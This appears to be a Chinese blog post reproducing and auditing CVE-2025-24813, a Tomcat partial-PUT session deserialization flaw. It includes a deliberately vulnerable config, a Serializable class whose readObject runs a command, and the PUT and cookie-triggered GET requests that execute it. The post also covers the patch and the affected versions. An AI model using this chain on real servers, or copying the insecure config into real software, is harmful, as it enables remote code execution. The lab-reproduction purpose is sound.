当前位置: 首页 > news >正文

【漏洞复现和代码审计】CVE-2025-24813

CVE-2025-24813

CVE-2025-24813 是 Apache Tomcat 中一个关键的路径等效性漏洞,允许任意用户在特定配置下远程RCE。

漏洞原理

Apache Tomcat使用DefaultServlet处理Partial PUT请求时,会将请求体的内容写入到本地session文件,然后通过指定cookie的JSESSIONID值就可以加载对应的session文件并进行反序列化,由于session文件内容能被外部控制,从而触发原生的反序列化漏洞。

利用条件:

  • 设置readonly为false(即开启写权限),这将允许DefaultServlet处理Partial PUT请求
  • 开启session本地存储
  • 存在可利用的反序列化链

复现

环境:spring boot 3.5.6、jdk 17、tomcat 11.0.2

以下配置设置readonly为false并开启session本地默认存储:

import jakarta.servlet.ServletContext;
import jakarta.servlet.ServletRegistration;
import org.apache.catalina.Context;
import org.apache.catalina.session.FileStore;
import org.apache.catalina.session.PersistentManager;
import org.springframework.boot.web.embedded.tomcat.TomcatContextCustomizer;
import org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory;
import org.springframework.boot.web.server.WebServerFactoryCustomizer;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;import java.io.File;@Configuration
public class TomcatConfig {@Beanpublic WebServerFactoryCustomizer<TomcatServletWebServerFactory> tomcatCustomizer() {return factory -> {factory.setBaseDirectory(new File("tomcat"));factory.addContextCustomizers(new TomcatContextCustomizer() {@Overridepublic void customize(Context context) {ServletContext servletContext = context.getServletContext();ServletRegistration defaultServlet = servletContext.getServletRegistration("default");defaultServlet.addMapping("/xxxxx/session");defaultServlet.setInitParameter("readonly", "false");PersistentManager manager = new PersistentManager();manager.setSaveOnRestart(true); // 重启时保存manager.setMaxActiveSessions(-1); // 不限制活跃 Session 数// 创建 FileStore,指定存储目录FileStore fileStore = new FileStore();
//                    fileStore.setDirectory("tomcat-sessions"); // Session 持久化目录manager.setStore(fileStore);// 将 Manager 设置到当前 Contextcontext.setManager(manager);}});};}
}

配置文件中添加以下配置开启DefaultServlet:

server.servlet.register-default-servlet=true

注意要避开DispatcherServlet的干扰,确保请求能够到达DefaultServlet

准备一个恶意的类(可以自行引入其他利用链):

package org.example.seclab17.vulnerability.Deserialization;import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;import java.io.IOException;
import java.io.Serial;
import java.io.Serializable;@Data
@AllArgsConstructor
@NoArgsConstructor
public class User implements Serializable {String name;String age;String cmd;@Serialprivate void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException, IOException {//执行默认的readObject()方法in.defaultReadObject();//执行打开计算器程序命令Runtime.getRuntime().exec(cmd);}
}

然后使用以下代码生成序列化对象的base64字符串:

User user = new User();
user.setAge("17");
user.setName("liming");
user.setCmd("calc");
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(user);
String s = os.toString();
os.close();
return user.toString() + "\n"+ s;
System.out.println(s);

下载burp插件:RawHex’ler 用于在请求中批量添加字节数据。

然后使用burp的编码工具解码base64数据得到hex格式的序列化数据:

image-20251004193328037

编辑请求:

PUT /xxxxx/session HTTP/1.1
Host: localhost:8082
Content-Range: bytes 0-147/233
Content-Length: 147序列化数据

请求体直接插入hex序列化数据:

image-20251004193626198

image-20251004193749643

调整content-length(147)和content-Range(必须从0读到147),保证147个字节能够被完整上传,此处响应409:

image-20251004194113126

在上传完成后发起以下请求进行加载:

GET /xxxxx/session HTTP/1.1
Host: localhost:8082
Cookie: JSESSIONID=.xxxxx

然后就会触发计算器:

image-20251004194243505

最后有个地方可能需要注意下,就是进行PUT请求时,请求体前后两次可能会发生改变,比如第一次请求:

image-20251004202409236

第二次请求:

image-20251004202433095

第二次请求不会成功,因为序列化数据被改变了

代码解读

该漏洞关注两个文件:

  • \org\apache\catalina\servlets\DefaultServlet.class:处理PUT请求
  • \org\apache\catalina\session\FileStore.class:加载本地序列化session文件

DefaultServlet

readOnly默认为true:

image-20251004194845517

可以通过读取readonly来设置该值:

image-20251004194929158

如果readOnly为false才允许PUT请求:

image-20251004195008382

然后看doPut:

image-20251004195139820

只有当readOnly为false并且range不为空时才会执行到executePartialPut

先看parseContentRange(allowPartialPut默认为true不需要管):

image-20251004195348935

读取请求头Content-Range,并且限制Unit为bytes,因此进行PartialPut时必须使用字节格式的序列化数据。

然后看executePartialPut:

image-20251004195723234

本地的临时目录为tomcat\work\Tomcat\localhost\ROOT,前面的配置中我使用setBaseDirectory配置目录为tomcat。然后可以看到,还会将路径中的/转换为.,这就导致请求/xxxxx/session被转换为.xxxxx.session

image-20251004200246395

打开这个文件,可以看到实际上是将数据原样保存到这个路径的文件中去的:

image-20251004200426013

FileStore

入口在:\org\apache\catalina\session\PersistentManagerBase.class,此处会调用FileStore中的load方法:

image-20251004201403991

加载文件并进行反序列化:

image-20251004201535017

image-20251004201552025

然后在第一个readObject处就触发了calc:

image-20251004201936977

版本对比(tomcat 11.0.2 vs tomcat 11.0.3)

image-20251004203255401

image-20251004203619849

可以看到11.0.3会删除临时文件,同时使用createTempFile生成临时文件,这将导致文件名不可预测,所以也不用去测试条件竞争上传了

    public static void main(String[] args) {try {// 在默认临时目录创建临时文件File tempFile = File.createTempFile("report", ".tmp");// JVM退出时自动删除tempFile.deleteOnExit();System.out.println("临时文件已创建: " + tempFile.getAbsolutePath());} catch (IOException e) {e.printStackTrace();}}

image-20251004203950145

修复

漏洞影响范围:

  • 9.0.0.M1 <= tomcat <= 9.0.98
  • 10.1.0-M1 <= tomcat <= 10.1.34
  • 11.0.0-M1 <= tomcat <= 11.0.2

因此将tomcat升级到非以上版本即可

http://www.dtcms.com/a/443757.html

相关文章:

  • 兰州彩票网站制作中国著名设计师的推荐
  • 股票做空网站wordpress禁止访问
  • 邵阳多用户商城网站建设wordpress多作者
  • 基础网站建设公司学院网站群建设的目标
  • 去菲律宾做it网站开发重庆建网站优化
  • 曲靖企业网站建设房地产 东莞网站建设
  • 淮北矿业工程建设有限公司网站网站建设开发实训的目的
  • 珠海营销网站建设wordpress 增大字体
  • AVM标定:解锁360°全景影像的秘密
  • 网站开发先学前端还是后端wordpress添加内链按钮
  • 青海省建设厅网站备案资料网站制作费用一览表
  • 武安市城乡建设局网站搜狐一开始把网站当做什么来做
  • 网站安全 维护网络工程师怎么考
  • 网站开发目录规范百度的竞价排名是哪种方式
  • 创新的企业网站制作哪家做网站最好
  • 主流网站编程语言查域名服务商
  • 创建一个网站需要什么条件网站建设添加汉语
  • 中国网站排名网企业网站建设排名资讯
  • 东昌府区住房和城乡建设局网站保定seo外包服务商
  • 做医院网站公司吗推广普通话奋进新征程ppt
  • 鹤壁集团网站建设网页设计与网站建设选择题
  • 培训网站推广绍兴网络公司网站建设
  • 7-2-查询练习
  • [光学原理与应用-485]:《皮秒紫外激光光源接口协议标准》草案
  • 长春市做网站的公司专业房产网站建设公司排名
  • 建设行业信息和技术应用服务网站企业网站优化应该怎么做
  • 找人做的网站怎么运行崇明苏州网站建设
  • POI操作Docx的踩坑指南(一)
  • 建网站免费域名做网站如何适应分辨率
  • 公司网站推广方法DZ做的网站